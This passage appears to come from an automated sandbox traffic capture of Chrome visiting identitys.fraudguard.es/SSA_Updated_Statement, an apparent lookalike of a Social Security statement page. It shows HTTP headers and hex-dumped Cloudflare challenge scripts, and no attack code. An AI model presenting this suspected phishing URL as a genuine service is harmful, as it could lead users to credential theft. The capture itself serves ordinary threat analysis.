2024-11-22 21:59:38 UTC	861	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 21:59:38 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 106981 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IDHPksoMzH0ctdPVO7nUU4O10ykfYe36NpHZ58krVBk4Gwc%2BGx%2Fb1doowK7Fs%2FhfhBbFaSnxAV5bKAQ93koSFkWYT7nOkl4bRdHDVxIewkmpyJ2zIxj4ChyUVjGZ%2FsZcD6Tw3Oz3gRZJaw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e6c3011d8114321-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1925&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1000&delivery_rate=1414043&cwnd=247&unsent_bytes=0&cid=decaa32ebc29bd38&ts=463&x=0"
2024-11-22 21:59:38 UTC	508	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 53 52 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 50 69 6b 62 33 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.uaSR=false;window._cf_chl_opt.uPikb3={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support"
2024-11-22 21:59:38 UTC	1369	IN	Data Raw: 61 72 67 65 74 25 33 44 25 32 32 5f 62 6c 61 6e 6b 25 32 32 25 32 30 72 65 6c 25 33 44 25 32 32 6e 6f 6f 70 65 6e 65 72 25 32 30 6e 6f 72 65 66 65 72 72 65 72 25 32 32 25 32 30 68 72 65 66 25 33 44 25 32 32 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 25 32 32 25 33 45 43 6c 69 63 6b 25 32 30 68 65 72 65 25 32 30 66 6f 72 25 32 30 6d 6f 72 65 25 32 30 69 6e 66 6f 72 6d 61 74 69 6f 6e 25 33 43 25 32 46 61 25 33 45 22 2c 22 74 75 72 6e Data Ascii: arget%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%20href%3D%22https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support%22%3EClick%20here%20for%20more%20information%3C%2Fa%3E","turn
2024-11-22 21:59:38 UTC	1369	IN	Data Raw: 74 65 72 6d 65 64 69 61 72 79 25 32 30 61 6e 64 25 32 30 69 73 25 32 30 6e 6f 25 32 30 6c 6f 6e 67 65 72 25 32 30 61 76 61 69 6c 61 62 6c 65 22 2c 22 69 6e 74 65 72 61 63 74 69 76 65 5f 72 75 6e 6e 69 6e 67 22 3a 22 56 65 72 69 66 79 25 32 30 79 6f 75 25 32 30 61 72 65 25 32 30 68 75 6d 61 6e 25 32 30 62 79 25 32 30 63 6f 6d 70 6c 65 74 69 6e 67 25 32 30 74 68 65 25 32 30 61 63 74 69 6f 6e 25 32 30 62 65 6c 6f 77 2e 22 2c 22 62 72 6f 77 73 65 72 5f 6e 6f 74 5f 73 75 70 70 6f 72 74 65 64 5f 61 75 78 22 3a 22 25 32 35 25 37 42 70 6c 61 63 65 68 6f 6c 64 65 72 2e 63 6f 6d 25 37 44 25 32 30 6e 65 65 64 73 25 32 30 74 6f 25 32 30 76 65 72 69 66 79 25 32 30 79 6f 75 25 32 30 61 72 65 25 32 30 68 75 6d 61 6e 25 32 30 62 65 66 6f 72 65 25 32 30 70 72 6f 63 65 65 Data Ascii: termediary%20and%20is%20no%20longer%20available","interactive_running":"Verify%20you%20are%20human%20by%20completing%20the%20action%20below.","browser_not_supported_aux":"%25%7Bplaceholder.com%7D%20needs%20to%20verify%20you%20are%20human%20before%20procee
2024-11-22 21:59:38 UTC	1369	IN	Data Raw: 75 73 65 73 25 32 30 61 25 32 30 73 65 63 75 72 69 74 79 25 32 30 73 65 72 76 69 63 65 25 32 30 74 6f 25 32 30 70 72 6f 74 65 63 74 25 32 30 61 67 61 69 6e 73 74 25 32 30 6d 61 6c 69 63 69 6f 75 73 25 32 30 62 6f 74 73 2e 25 32 30 59 6f 75 25 32 30 6d 61 79 25 32 30 73 65 65 25 32 30 74 68 69 73 25 32 30 70 61 67 65 25 32 30 77 68 69 6c 65 25 32 30 74 68 65 25 32 30 73 69 74 65 25 32 30 76 65 72 69 66 69 65 73 25 32 30 79 6f 75 25 32 37 72 65 25 32 30 6e 6f 74 25 32 30 61 25 32 30 62 6f 74 2e 22 2c 22 6c 6f 63 61 74 69 6f 6e 5f 6d 69 73 6d 61 74 63 68 5f 77 61 72 6e 69 6e 67 5f 61 75 78 22 3a 22 54 68 65 25 32 30 61 64 64 72 65 73 73 25 32 30 74 6f 25 32 30 74 68 65 25 32 30 72 65 71 75 65 73 74 65 64 25 32 30 77 65 62 73 69 74 65 25 32 30 68 61 73 25 32 Data Ascii: uses%20a%20security%20service%20to%20protect%20against%20malicious%20bots.%20You%20may%20see%20this%20page%20while%20the%20site%20verifies%20you%27re%20not%20a%20bot.","location_mismatch_warning_aux":"The%20address%20to%20the%20requested%20website%20has%2
2024-11-22 21:59:38 UTC	1369	IN	Data Raw: 7d 2c 22 70 6f 6c 79 66 69 6c 6c 73 22 3a 7b 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 6f 75 74 70 75 74 5f 73 75 62 74 69 74 6c 65 22 3a 66 61 6c 73 65 2c 22 74 75 72 6e 73 74 69 6c 65 5f 6f 76 65 72 72 75 6e 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 66 61 6c 73 65 2c 22 74 75 72 6e 73 74 69 6c 65 5f 74 69 6d 65 6f 75 74 22 3a 66 61 6c 73 65 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 66 61 6c 73 65 2c 22 74 65 73 74 69 6e 67 5f 6f 6e 6c 79 5f 61 6c 77 61 79 73 5f 70 61 73 73 22 3a 66 61 6c 73 65 7d 2c 22 72 74 6c 22 3a 66 61 6c 73 65 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 75 73 22 7d 3b 7e 66 75 6e 63 74 69 6f 6e 28 67 46 2c 65 4d 2c 65 4e 2c 65 52 2c 65 53 2c 65 57 2c 65 58 2c 65 59 2c 65 Data Ascii: },"polyfills":{"feedback_report_output_subtitle":false,"turnstile_overrun_description":false,"turnstile_timeout":false,"turnstile_feedback_description":false,"testing_only_always_pass":false},"rtl":false,"lang":"en-us"};~function(gF,eM,eN,eR,eS,eW,eX,eY,e
2024-11-22 21:59:38 UTC	1369	IN	Data Raw: 3d 78 5b 67 58 28 32 32 39 29 5d 28 67 5b 67 58 28 34 37 32 29 5d 5b 67 58 28 36 39 36 29 5d 28 68 29 29 29 2c 78 3d 67 5b 67 58 28 37 31 31 29 5d 5b 67 58 28 37 38 35 29 5d 26 26 67 5b 67 58 28 35 30 37 29 5d 3f 67 5b 67 58 28 37 31 31 29 5d 5b 67 58 28 37 38 35 29 5d 28 6e 65 77 20 67 5b 28 67 58 28 35 30 37 29 29 5d 28 78 29 29 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 67 59 2c 48 29 7b 66 6f 72 28 67 59 3d 67 58 2c 47 5b 67 59 28 31 38 32 29 5d 28 29 2c 48 3d 30 3b 6f 5b 67 59 28 39 36 31 29 5d 28 48 2c 47 5b 67 59 28 38 38 35 29 5d 29 3b 6f 5b 67 59 28 31 32 31 31 29 5d 28 47 5b 48 5d 2c 47 5b 6f 5b 67 59 28 37 36 39 29 5d 28 48 2c 31 29 5d 29 3f 47 5b 67 59 28 31 32 33 36 29 5d 28 6f 5b 67 59 28 37 36 39 29 5d 28 48 2c 31 29 2c 31 29 3a 48 2b 3d 31 29 3b Data Ascii: =x[gX(229)](g[gX(472)][gX(696)](h))),x=g[gX(711)][gX(785)]&&g[gX(507)]?g[gX(711)][gX(785)](new g[(gX(507))](x)):function(G,gY,H){for(gY=gX,G[gY(182)](),H=0;o[gY(961)](H,G[gY(885)]);o[gY(1211)](G[H],G[o[gY(769)](H,1)])?G[gY(1236)](o[gY(769)](H,1),1):H+=1);
2024-11-22 21:59:38 UTC	1369	IN	Data Raw: 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 68 71 77 48 57 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2b 69 7d 2c 27 64 65 6c 6d 4a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 5e 69 7d 2c 27 4a 59 74 69 63 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 2c 6a 29 7b 72 65 74 75 72 6e 20 68 28 69 2c 6a 29 7d 2c 27 4e 74 5a 65 64 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 2c 6a 29 7b 72 65 74 75 72 6e 20 68 28 69 2c 6a 29 7d 2c 27 45 62 78 7a 46 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 2c 6a 29 7b 72 65 74 75 72 6e 20 68 28 69 2c 6a 29 7d 2c 27 67 56 53 48 78 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 2c 6a 29 7b 72 65 74 75 72 6e 20 68 28 69 2c 6a 29 7d 2c 27 47 4b 65 79 4a 27 3a 66 75 6e 63 Data Ascii: n(h,i){return h>i},'hqwHW':function(h,i){return h+i},'delmJ':function(h,i){return h^i},'JYtic':function(h,i,j){return h(i,j)},'NtZed':function(h,i,j){return h(i,j)},'EbxzF':function(h,i,j){return h(i,j)},'gVSHx':function(h,i,j){return h(i,j)},'GKeyJ':func
2024-11-22 21:59:38 UTC	1369	IN	Data Raw: 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 62 47 48 6e 6c 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 44 77 46 68 49 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 6e 6b 5a 59 78 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 6a 44 43 61 69 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 4b 77 47 45 4f 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 4a 54 47 67 5a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 45 4a 77 6d 52 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e Data Ascii: on(h,i){return h&i},'bGHnl':function(h,i){return h<i},'DwFhI':function(h,i){return h==i},'nkZYx':function(h,i){return h(i)},'jDCai':function(h,i){return h&i},'KwGEO':function(h,i){return h(i)},'JTGgZ':function(h,i){return h<i},'EJwmR':function(h,i){return
2024-11-22 21:59:38 UTC	1369	IN	Data Raw: 28 48 2c 31 29 7c 64 5b 68 33 28 39 30 32 29 5d 28 4d 2c 31 29 2c 64 5b 68 33 28 34 39 39 29 5d 28 49 2c 64 5b 68 33 28 39 37 32 29 5d 28 6a 2c 31 29 29 3f 28 49 3d 30 2c 47 5b 68 33 28 33 31 37 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 44 2d 2d 2c 44 3d 3d 30 26 26 28 44 3d 4d 61 74 68 5b 68 33 28 31 31 37 37 29 5d 28 32 2c 46 29 2c 46 2b 2b 29 2c 64 65 6c 65 74 65 20 42 5b 43 5d 7d 65 6c 73 65 20 66 6f 72 28 4d 3d 78 5b 43 5d 2c 73 3d 30 3b 73 3c 46 3b 48 3d 64 5b 68 33 28 38 31 34 29 5d 28 64 5b 68 33 28 38 32 36 29 5d 28 48 2c 31 29 2c 4d 26 31 2e 32 31 29 2c 49 3d 3d 64 5b 68 33 28 36 35 31 29 5d 28 6a 2c 31 29 3f 28 49 3d 30 2c 47 5b 68 33 28 33 31 37 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b Data Ascii: (H,1)\|d[h3(902)](M,1),d[h3(499)](I,d[h3(972)](j,1))?(I=0,G[h3(317)](o(H)),H=0):I++,M>>=1,s++);}D--,D==0&&(D=Math[h3(1177)](2,F),F++),delete B[C]}else for(M=x[C],s=0;s<F;H=d[h3(814)](d[h3(826)](H,1),M&1.21),I==d[h3(651)](j,1)?(I=0,G[h3(317)](o(H)),H=0):I++
2024-11-22 21:59:38 UTC	1369	IN	Data Raw: 5b 32 5d 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 32 27 3a 58 3d 51 5b 36 5d 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 33 27 3a 51 5b 33 5d 3d 62 67 28 61 31 2c 51 5b 33 5d 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 34 27 3a 51 5b 34 5d 3d 62 68 28 61 35 2c 51 5b 34 5d 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 35 27 3a 51 5b 32 5d 3d 62 66 28 57 2c 51 5b 32 5d 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 36 27 3a 59 3d 51 5b 35 5d 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 37 27 3a 5a 3d 51 5b 31 5d 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 38 27 3a 61 30 3d 51 5b 37 5d 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 39 27 3a 51 5b 31 5d 3d 62 65 28 5a 2c 51 5b 31 5d 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 30 27 3a 61 31 Data Ascii: [2];continue;case'2':X=Q[6];continue;case'3':Q[3]=bg(a1,Q[3]);continue;case'4':Q[4]=bh(a5,Q[4]);continue;case'5':Q[2]=bf(W,Q[2]);continue;case'6':Y=Q[5];continue;case'7':Z=Q[1];continue;case'8':a0=Q[7];continue;case'9':Q[1]=be(Z,Q[1]);continue;case'10':a1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49717	172.67.218.103	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 21:59:38 UTC	895	OUT	GET /favicon.ico HTTP/1.1 Host: identitys.fraudguard.es Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://identitys.fraudguard.es/SSA_Updated_Statement Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 21:59:38 UTC	1285	IN	HTTP/1.1 403 Forbidden Date: Fri, 22 Nov 2024 21:59:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Critical-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Content-Options: nosniff X-Frame-Options: SAMEORIGIN cf-mitigated: challenge
2024-11-22 21:59:38 UTC	937	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 3a 20 43 36 4a 6d 41 56 71 51 79 6d 65 57 65 42 4e 42 2f 4b 54 31 75 35 69 37 71 75 48 67 52 74 4a 37 55 37 6c 66 4b 41 35 42 7a 45 2f 47 6a 66 4f 45 4c 53 73 57 37 59 7a 32 55 50 62 53 75 55 72 33 6c 6d 2b 45 58 69 57 32 75 71 67 58 2f 6d 58 69 59 72 31 4b 2f 6a 77 41 43 30 34 2b 75 62 2b 6c 6e 2b 33 51 71 35 4c 6a 64 67 44 44 43 77 37 61 48 37 66 43 4f 38 37 77 37 6e 4e 45 4a 53 50 6b 2b 59 67 53 6a 4d 63 6b 48 59 32 64 70 46 2b 41 6c 38 47 6b 63 41 3d 3d 24 70 77 75 6b 31 47 6d 30 54 74 52 34 4f 79 2f 37 57 4a 6b 75 6d 41 3d 3d 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 Data Ascii: cf-chl-out: C6JmAVqQymeWeBNB/KT1u5i7quHgRtJ7U7lfKA5BzE/GjfOELSsW7Yz2UPbSuUr3lm+EXiW2uqgX/mXiYr1K/jwAC04+ub+ln+3Qq5LjdgDDCw7aH7fCO87w7nNEJSPk+YgSjMckHY2dpF+Al8GkcA==$pwuk1Gm0TtR4Oy/7WJkumA==Cache-Control: private, max-age=0, no-store, no-cache, must-reva
2024-11-22 21:59:38 UTC	1369	IN	Data Raw: 32 34 34 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d Data Ascii: 244c<!DOCTYPE html><html lang="en-US"><head><title>Just a moment...</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><meta name="robots" content="noindex,nofollow"><meta name=
2024-11-22 21:59:38 UTC	1369	IN	Data Raw: 75 4d 7a 67 34 4c 6a 51 77 4e 79 34 7a 4f 44 6b 75 4e 44 41 33 4c 6a 6b 35 4e 43 41 77 49 43 34 31 4f 54 59 74 4c 6a 51 77 4e 79 34 35 4f 44 51 74 4c 6a 4d 35 4e 79 34 7a 4f 53 30 78 4c 6a 41 31 4e 79 34 7a 4f 44 6b 74 4c 6a 59 31 49 44 41 74 4d 53 34 77 4e 54 59 74 4c 6a 4d 34 4f 53 30 75 4d 7a 6b 34 4c 53 34 7a 4f 44 6b 74 4c 6a 4d 35 4f 43 30 75 4f 54 67 30 49 44 41 74 4c 6a 55 35 4e 79 34 7a 4f 54 67 74 4c 6a 6b 34 4e 53 34 30 4d 44 59 74 4c 6a 4d 35 4e 79 41 78 4c 6a 41 31 4e 69 30 75 4d 7a 6b 33 49 69 38 2b 50 43 39 7a 64 6d 63 2b 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 6e 74 61 69 6e 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 33 34 70 78 7d 40 6d Data Ascii: uMzg4LjQwNy4zODkuNDA3Ljk5NCAwIC41OTYtLjQwNy45ODQtLjM5Ny4zOS0xLjA1Ny4zODktLjY1IDAtMS4wNTYtLjM4OS0uMzk4LS4zODktLjM5OC0uOTg0IDAtLjU5Ny4zOTgtLjk4NS40MDYtLjM5NyAxLjA1Ni0uMzk3Ii8+PC9zdmc+);background-repeat:no-repeat;background-size:contain;padding-left:34px}@m
2024-11-22 21:59:38 UTC	1369	IN	Data Raw: 63 6f 6a 57 36 68 62 57 7a 77 74 79 31 32 6d 77 42 46 49 30 6c 78 48 46 4d 4b 34 4f 6e 79 44 4c 30 49 64 30 7a 67 6b 56 4e 7a 63 75 6d 52 74 66 57 39 4d 6f 48 74 4f 4a 4c 6b 48 54 47 68 61 78 39 58 61 6e 34 56 55 5f 34 63 64 62 59 79 4b 70 48 55 41 67 54 76 57 31 41 71 7a 31 37 50 6e 56 65 4a 6a 30 69 55 39 63 35 54 66 33 5a 33 73 65 4e 52 66 56 44 61 4e 67 41 4f 36 46 36 6b 44 36 41 33 51 30 39 48 42 38 6c 69 68 47 78 56 6d 44 75 59 56 77 59 6d 43 5f 4b 52 4a 37 54 64 57 5a 66 2e 48 72 65 75 36 4e 69 59 42 70 38 6c 74 70 50 30 4b 6e 54 54 75 6e 36 54 52 59 71 73 71 37 41 33 65 62 30 77 42 45 44 43 34 77 41 64 4c 4e 67 32 43 6d 63 41 6c 4c 4c 68 41 6a 35 35 79 4f 72 73 4d 57 71 64 5f 31 57 6e 6e 49 5f 66 62 79 43 46 41 43 47 30 6c 65 75 72 65 33 6a 41 51 Data Ascii: cojW6hbWzwty12mwBFI0lxHFMK4OnyDL0Id0zgkVNzcumRtfW9MoHtOJLkHTGhax9Xan4VU_4cdbYyKpHUAgTvW1Aqz17PnVeJj0iU9c5Tf3Z3seNRfVDaNgAO6F6kD6A3Q09HB8lihGxVmDuYVwYmC_KRJ7TdWZf.Hreu6NiYBp8ltpP0KnTTun6TRYqsq7A3eb0wBEDC4wAdLNg2CmcAlLLhAj55yOrsMWqd_1WnnI_fbyCFACG0leure3jAQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	49719	104.18.94.41	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 21:59:39 UTC	413	OUT	GET /turnstile/v0/g/e4025c85ea63/api.js?onload=iQmfw1&render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 21:59:39 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 21:59:39 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47695 Connection: close accept-ranges: bytes last-modified: Tue, 19 Nov 2024 14:16:20 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8e6c30180f4442c9-EWR alt-svc: h3=":443"; ma=86400
2024-11-22 21:59:39 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2024-11-22 21:59:39 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 53 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var 